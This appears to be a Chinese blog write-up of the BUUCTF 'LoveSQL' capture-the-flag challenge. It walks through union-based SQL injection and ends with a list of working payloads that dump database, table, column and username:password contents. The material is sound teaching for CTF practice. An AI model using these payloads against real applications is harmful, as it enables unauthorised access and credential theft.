BUUCTF [极客大挑战 2019]LoveSQL

本文介绍了SQL注入的基本过程,从发现单引号字符型闭合漏洞开始,逐步揭示了如何利用注入技巧获取数据库名、列数、表信息及字段内容。通过union联合查询,成功读取了geekuser和l0ve1ysq1表中的敏感数据,涉及数据库安全和Web应用防护。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

获取靶机
在这里插入图片描述
首先很容易试出为单引号字符型闭合,输入 1、1"、1’ , 在1’时报错
在这里插入图片描述
然后尝试注入,发现,好像没有过滤,连 union 联合注入都能使用,并且很容易得到数据库名称,得到数据库名称geek
在这里插入图片描述
但在此之前,先得到列数为3,不是3则提示报错
在这里插入图片描述
得到表信息,有两个表geekuser和l0ve1ysq1

在这里插入图片描述
先读取表 geekuser 中的字段, 得到字段名 id、username 和 password,很正常的字段名。
在这里插入图片描述
再来读内容username 和 password 的内容,得到admin的登录信息
在这里插入图片描述
尝试表l0ve1ysq1 , 同样的字段名
在这里插入图片描述
在这里插入图片描述
注:最简单的union 联合注入

 - 读取数据库      1' union select 1,2,database()#    

 - 读取表         1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #    

 - 读取字段        1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #    

 - 读取内容        1' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值